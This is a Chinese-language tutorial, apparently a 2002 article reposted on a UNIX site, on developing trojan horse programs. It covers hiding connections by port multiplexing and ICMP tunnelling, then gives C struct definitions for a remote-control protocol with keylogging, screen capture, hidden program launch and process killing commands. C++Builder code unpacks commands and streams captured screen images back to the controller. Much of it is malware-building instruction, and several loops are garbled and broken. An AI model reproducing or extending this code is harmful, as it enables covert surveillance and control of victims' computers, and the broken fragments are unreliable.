[ 永遠的UNIX::UNIX技術資料的寶庫 ]   GB | BIG5

首頁 > 安全技術 > 程序 > 正文
透視木馬程序開發技術(中)
本文出自:http://sinbad.zhoubin.com 作者: 大皮球 (2002-11-20 06:02:00)

4、木馬程序的建立連接的隱藏

  木馬程序的數據傳遞方法有很多種,其中最常見的要屬TCP,UDP傳輸數據的方法了,通常
是利用Winsock與目標機的指定端口建立起連接,使用send和recv等API進行數據的傳遞,但
是由這種方法的隱蔽性比較差,往往容易被一些工具軟件查看到,最簡單的,比如在命令
行狀態下使用netstat命令,就可以查看到當前的活動TCP,UDP連接。

C:\Documents and Settings\bigball>netstat -n

Active Connections

  Proto  Local Address          Foreign Address        State
  TCP    192.0.0.9:1032         64.4.13.48:1863        ESTABLISHED
  TCP    192.0.0.9:1112         61.141.212.95:80       ESTABLISHED
  TCP    192.0.0.9:1135         202.130.239.223:80     ESTABLISHED
  TCP    192.0.0.9:1142         202.130.239.223:80     ESTABLISHED
  TCP    192.0.0.9:1162         192.0.0.8:139          TIME_WAIT
  TCP    192.0.0.9:1169         202.130.239.159:80     ESTABLISHED
  TCP    192.0.0.9:1170         202.130.239.133:80     TIME_WAIT

C:\Documents and Settings\bigball>netstat -a

Active Connections

  Proto  Local Address          Foreign Address        State
  TCP    Liumy:echo             Liumy:0                LISTENING
  TCP    Liumy:discard          Liumy:0                LISTENING
  TCP    Liumy:daytime          Liumy:0                LISTENING
  TCP    Liumy:qotd             Liumy:0                LISTENING
  TCP    Liumy:chargen          Liumy:0                LISTENING
  TCP    Liumy:epmap            Liumy:0                LISTENING
  TCP    Liumy:microsoft-ds     Liumy:0                LISTENING
  TCP    Liumy:1025             Liumy:0                LISTENING
  TCP    Liumy:1026             Liumy:0                LISTENING
  TCP    Liumy:1031             Liumy:0                LISTENING
  TCP    Liumy:1032             Liumy:0                LISTENING
  TCP    Liumy:1112             Liumy:0                LISTENING
  TCP    Liumy:1135             Liumy:0                LISTENING
  TCP    Liumy:1142             Liumy:0                LISTENING
  TCP    Liumy:1801             Liumy:0                LISTENING
  TCP    Liumy:3372             Liumy:0                LISTENING
  TCP    Liumy:3389             Liumy:0                LISTENING
  TCP    Liumy:netbios-ssn      Liumy:0                LISTENING
  TCP    Liumy:1028             Liumy:0                LISTENING
  TCP    Liumy:1032             msgr-ns19.msgr.hotmail.com:1863  ESTAB
  TCP    Liumy:1112             szptt61.141.szptt.net.cn:http  ESTABLI
  TCP    Liumy:1135             202.130.239.223:http   ESTABLISHED
  TCP    Liumy:1142             202.130.239.223:http   ESTABLISHED
  TCP    Liumy:1162             W3I:netbios-ssn        TIME_WAIT
  TCP    Liumy:1170             202.130.239.133:http   TIME_WAIT
  TCP    Liumy:2103             Liumy:0                LISTENING
  TCP    Liumy:2105             Liumy:0                LISTENING
  TCP    Liumy:2107             Liumy:0                LISTENING
  UDP    Liumy:echo             *:*
  UDP    Liumy:discard          *:*
  UDP    Liumy:daytime          *:*
  UDP    Liumy:qotd             *:*
  UDP    Liumy:chargen          *:*
  UDP    Liumy:epmap            *:*
  UDP    Liumy:snmp             *:*
  UDP    Liumy:microsoft-ds     *:*
  UDP    Liumy:1027             *:*
  UDP    Liumy:1029             *:*
  UDP    Liumy:3527             *:*
  UDP    Liumy:4000             *:*
  UDP    Liumy:4001             *:*
  UDP    Liumy:1033             *:*
  UDP    Liumy:1148             *:*
  UDP    Liumy:netbios-ns       *:*
  UDP    Liumy:netbios-dgm      *:*
  UDP    Liumy:isakmp           *:*

  但是,黑客還是用種種手段躲避了這種偵察,就我所知的方法大概有兩種,一種是合並
端口法,也就是說,使用特殊的手段,在一個端口上同時綁定兩個TCP或者UDP連接,這聽起
來不可思議,但事實上確實如此,而且已經出現了使用類似方法的程序,通過把自己的木馬
端口綁定特定的服務端口之上,(比如80端口的HTTP,誰懷疑他會是木馬程序呢?)從而
達到隱藏端口的目地。另外一種辦法,是使用ICMP(Internet Control Message Protocol)
協議進行數據的發送,原理是修改ICMP頭的構造,加入木馬的控制字段,這樣的木馬,具備很
多新的特點,不佔用端口的特點,使用戶難以發覺,同時,使用ICMP可以穿透一些防火牆,
從而增加了防范的難度。之所以具有這種特點,是因為ICMP不同TCP,UDP,ICMP工作網
絡的應用層不使用TCP協議。關網絡層次的結構,下面給出圖示:


5、發送數據的組織方法

  關數據的組織方法,可以說是數學上的問題。關鍵在傳遞數據的可靠性,壓縮性,
以及高效行。木馬程序,為了避免被發現,必須很好的控制數據傳輸量,一個編制較好的木
馬,往往有自己的一套傳輸協議,那程序上,到底是如何組織實現的呢?下面,我舉例包
裝一些協議:

typedef struct{       //定義消息結構
//char ip[20];
char Type;    //消息種類
char Password[20];    //密碼
int CNum;          //消息操作號
//int Length;    //消息長度
}Msg;
#define MsgLen sizeof(Msg)
//-------------------------------------------
//對話框數據包定義:Dlg_Msg_Type.h
//-------------------------------------------
//定義如下消息類型:
#define MsgDlgCommon 4//連接事件
#define MsgDlgSend 5//發送完成事件
//消息結構
typedef struct{
        char Name[20];//對話框標題
        char Msg[256];//對話框消息內容
}MsgDlgUint;
#define MsgDlgLen sizeof(MsgDlgUint)//消息單元長度

//------------------------------------------
//聊天數據包定義:Chat_Msg_Type.h
//------------------------------------------
//定義如下消息類型:
#define MsgChatCommon 0//連接事件
#define MsgChatConnect 1//接入事件
#define MsgChatEscept 2//結束事件
#define MsgChatReceived 16//確認對話內容收到
//消息結構
typedef struct{
 char ClientName[20];//Client自定義的名稱
 char Msg[256];//發送的消息
}MsgChatUint;
#define MsgChatLen sizeof(MsgChatUint)//消息單元長度


//------------------------------------------
//重啟數據包定義:Reboot_Msg_Type.h
//------------------------------------------
//定義如下消息類型:
#define MsgReBoot 15//重啟事件

//------------------------------------------
//目錄結構請求數據包定義:Dir_Msg_Type.h
//------------------------------------------
//定義如下消息類型:
#define MsgGetDirInfo 17
#define MsgReceiveGetDirInfo 18
typedef struct{
char Dir[4096];//你要的目錄名
}MsgDirUint;
#define MsgDirUintLen sizeof(MsgDirUint)

// TCP的Msg
typedef struct{       //定義消息結構
char SType;    //消息種類
char SPassword[20];    //密碼
//int SNum;             //消息操作號
char *AllMsg;
}SMsg;
#define SMsgLen sizeof(SMsg)

#define MSGListProgram  19
#define MSGFlyMouse 21
#define MSGGoWithMouse 22
#define MSGSaveKey  23
#define MSGTracekey 24
#define MsgCopyScreen 25//tcp接收消息,udp請求消息
#define MSGCopyWindow 26

//-------------------------
//鼠標指針隱藏和顯示控制
//-------------------------
#define MsgSetMouseStat 27//設置消息
#define MsgMouseStat 28//成功消息
typedef struct{
bool mouseshow;
}MsgSetMouseStatUint;
#define MsgSetMouseStatUintLen sizeof(MsgSetMouseStatUint)


//-------------------------
//任務欄隱藏和顯示控制
//-------------------------
#define MsgSetTaskBarStat 29//設置消息
#define MsgTaskBarStat 30//成功消息
typedef struct{
bool taskshow;
}MsgSetTaskBarStatUint;
#define MsgSetTaskBarStatUintLen sizeof(MsgSetTaskBarStatUint)

//-------------------------
//得到機器名
//-------------------------
#define MsgGetNetBiosName 31//取請求
#define MsgNetBiosName 32//回送機器名
typedef struct{
char NetBiosName[128];
}MsgNetBiosNameUint;
#define MsgNetBiosNameUintLen sizeof(MsgNetBiosNameUint)

//-------------------------
//關閉進程變更!
//-------------------------
#define MsgSetProgramClose 33//關閉請求
#define MsgProgramClosed 34//成功消息-----
typedef struct{
char ProgramName[4096];//old struct : char ProgramName[128];//要關閉的窗口的名字
}MsgSetProgramCloseUint;
#define MsgSetProgramCloseUintLen sizeof(MsgSetProgramCloseUint)

//-------------------------
//打開進程變更!
//-------------------------
#define MsgSetProgramOpen 20//打開請求
#define MsgProgramOpened 36//成功消息
typedef struct{
char ProgramName[4096];       //old struct : char ProgramName[128];//要打開的程序
的名字
bool ProgramShow;//前台運行或台運行程序(隱藏運行)
}MsgSetProgramOpenUint;
#define MsgSetProgramOpenUintLen sizeof(MsgSetProgramOpenUint)

#define MsgGetHardWare 35//請求硬件信息(UDP消息)和回傳硬件信息(TCP消息)


  上面一段定義,使用了TCP和UDP兩種協議目的就是為了減少TCP連接的幾率,這樣所消耗
的系統資源就會比較少,不容易讓目標機察覺。很多木馬程序中,都有像上面定義中類似的
密碼定義,目地是為了防止非真實客戶機的連接請求。SNum            為消息操作號,它
的作用是為了效驗數據是否是發送過的,經過分析而知,我們熟悉的OICQ也正是使用了這一
辦法來校驗消息的。

  數據協議組織好,還有一步工作,就是數據的打包發送,一般的方法是把全部數據壓為
一個VOID類型的數據流,然發送:

Msg *msg=new Msg;
TMemoryStream *RData=new TMemoryStream;
NMUDP1->ReadStream(RData);
RData->Read(msg,sizeof(Msg));
UdpConnect *udpconnect=new UdpConnect;
NetBiosName *netbiosname=new NetBiosName;
if(msg->CNum==CNumBak)
return;
else{
CNumBak=msg->CNum;
switch(msg->Type)
{
case 0://MsgUdpConnect
RData->Read(udpconnect,sizeof(UdpConnect));
checkuser(udpconnect->IsRight);
break;
case 1:
RData->Read(netbiosname,sizeof(NetBiosName));
AnsiString jqm="機器名 ";
jqm+=(AnsiString)netbiosname->NetBiosName;
Memo2->Lines->Add(jqm);
break;
}
}

當服務器端收到數據,首先要做的工作是解包還原VOID流為結構化的協議,這裡同樣給
出事例代碼:


NMUDP1->RemoteHost=FromIP;
NMUDP1->RemotePort=Port;
TMemoryStream *RData=new TMemoryStream;
NMUDP1->ReadStream(RData);
Msg *msg=new Msg;
RData->Read(msg,sizeof(Msg));
if(msg->CNum==CNumBak)
return;
else
{
CNumBak=msg->CNum;
switch(msg->Type)
{
case 0:
checkuser(msg->Password);
break;
case 1:
GetNetBiosName();
break;
case 2:
CheckHard();
break;
}
}

  此外,很多木馬程序支持了屏幕回傳的功能,其根本的原理是先捕獲屏幕畫面,然回
傳給客戶機,由畫面的數據量很大所以,很多木馬程序都是在畫面改變的時候才回傳改變
部分的畫面,常用的手段是最小矩形法,下面以好友“古老傳說”的一段算法舉例:


#define MAXXCount 10 //屏幕X方向最多分割塊數
#define MAXYCount 5 //... Y................
#define DestNum 1000 //每塊的偏移檢測點最大個數
COLORREF Colors[MAXXCount][MAXYCount][DestNum];
COLORREF BakColors[MAXXCount]{MAXYCount][DestNum];
TPoint Dests[DestNum];
int Sw;
int Sh;
int xCount;
int yCount;
int ItemWidth;
int ItemHeight;
int Dnum;
int Qlity;
//得到消息執行:
//另外:接收到的數據包中分析出 Dnum ,Qlity
//Dnum:偏移觀測點數量
//Qlity:圖象要求質量
__fastcall TForm1::CopyScreen(int DNum,int Qlity){
ItemWidth=Sw/xCount;
ItemHeight=Sh/yCount;
Sw=Screen->Width;
Sh=Screen->Height;
xCount=(Sw>1000)?8:6;
yCount=(Sh>1000)?3:2;
for (int num1=0;num1 Dests[num1].x=random(ItemWidth);
Dests[num1].y=random(ItemHeight);
}
CatchScreen(DNum,Qlity);
}
//收到刷屏消息只執行:
CatchScreen(DNum,Qlity);
__fastcall TForm1::CatchScreen(int DNum,int Qlity){
//函數功能:掃描改變的屏幕區域,並切經過優化處理,最發送這些區域數據
//DNum: 偏移量 Qlity:圖象質量
HDC dc=GetDC(GetDesktopWindow());
Graphics::TBitmap *bm=new Graphics::TBitmap;
bm->Width=Sw;
bm->Height=Sh;
BitBlt(bm->Canvas->Handle,0,0,Sw-1,Sh-1,dc,0,0);
int num1,num2,num3;
int nowx,nowy;
bool Change;
bool ItemChange[MAXXCount][MAXYCount];
for (num1=0;num1 nowx=ItemWidth*num1;
for (num2=0;num2 nowy=ItemHeight*num2;
Change=false;
for (num3=0;num3 Colors[num1][num2][num3]=bm->Canvas->Pixels[nowx+Dests[num3].x]
[nowy+Dests[num3].y];
if (Colors[num1][num2][num3]!=BakColors[num1][num2][num3]){
BakColors[num1][num2][num3]=Colors[num1][num2][num3];
ItemChange[num1][num2]=true;
}
}
}
}

int CNum,MaxCNum;
int ChangedNum=0;
TRect *Rect;
int num4;
int MinSize=10000;
int m;
TRect MinRect;
Graphics::TBitmap *bt2=new Graphics::TBitmap;
TJPEGImage *j=new TJPEGImage;
//************************
j->Quality=Qlity;
//************************
CopyScreenUint CopyScreen;
CopyScreenItemUint CopyScreenItem;
TMemoryStream *ms=new TMemoryStream;
ms->Write(&TcpMsg,sizeof(TcpMsgUint));
ms->Write(&CopyScreen,sizeof(CopyScreenUint));
do{
for (num1=0;num1 for (num2=0;num2 for (num3=num1+1;num3<=xCount;num3++){
MaxCNum=0;
for (num4=num2+1;num4<=yCount;num4++){ //遍歷所有矩形
CNum=GetChangedNum(TRect(num1,num2,num3,num4));
if (CNum>MaxCNum) MaxCNum=CNum;
m=(num3-num1)*(num4-num2);
if (2*m-CNum MinSize=2*m-CNum;
MinRect=TRect(num1,num2,num3,num4);
}
}
}
TMemoryStream *ms;
BitBlt(bt2->Canvas->Handle,0,0,ItemWidth-1,ItemHeight-1,bt->Canvas->Handle,0,0);
j->Assign(bt2);
j->SaveToStream(ms2);
CopyScreenItem.Rect=TRect(num1,num2,num3,num4);
CopyScreenItem.FileType=JPEGFILE; //JPEGFILE 定義為:#define JPEGFILE 1
ms2->Position=0;
CopyScreenItem.Length=ms2->Size;
ms->Write(&CopyScreenItem,sizeof(ScreenItemUint));
ms->CopyFrom(ms2,ms2->Size);
ChangedNum++;
}while(MaxCNum>0);
TcpMsg.Type=MsgCopyScreen;
ms->Position=0;
TcpMsg.Length=ms->Size-sizeof(TcpMsgUint);
CopyScreen.Count=ChangedNum;
ms->Write(&TcpMsg,sizeof(TcpMsgUint));
ms->Write(&CopyScreen,sizeof(CopyScreenUInt));
ms->Position=0;
sock->SendStream(ms);
}

  這個程序把屏幕畫面切分為了多個部分,並存儲畫面為JPG格式,這樣壓縮率就變的十分
的高了。通過這種方法壓縮處理過的數據,變得十分小,甚至在屏幕沒有改變的情況下,傳
送的數據量為0,在這裡不做過多分析了,有興趣的朋友,可以多看看。



  (http://www.fanqiang.com)
    進入【UNIX論壇

相關文章
透視木馬程序開發技術(上) (2002-11-19 06:02:01)
特落伊木馬常用的Port (2001-05-21 08:10:00)
揭開木馬的神秘面紗(三) (2001-05-20 13:04:01)
揭開木馬的神秘面紗(二) (2001-05-20 12:10:00)
揭開木馬的神秘面紗(一) (2001-05-20 11:00:00)
小木馬cnc源代碼及開發文檔 (2001-04-19 12:38:07)
 

★  樊強制作 歡迎分享  ★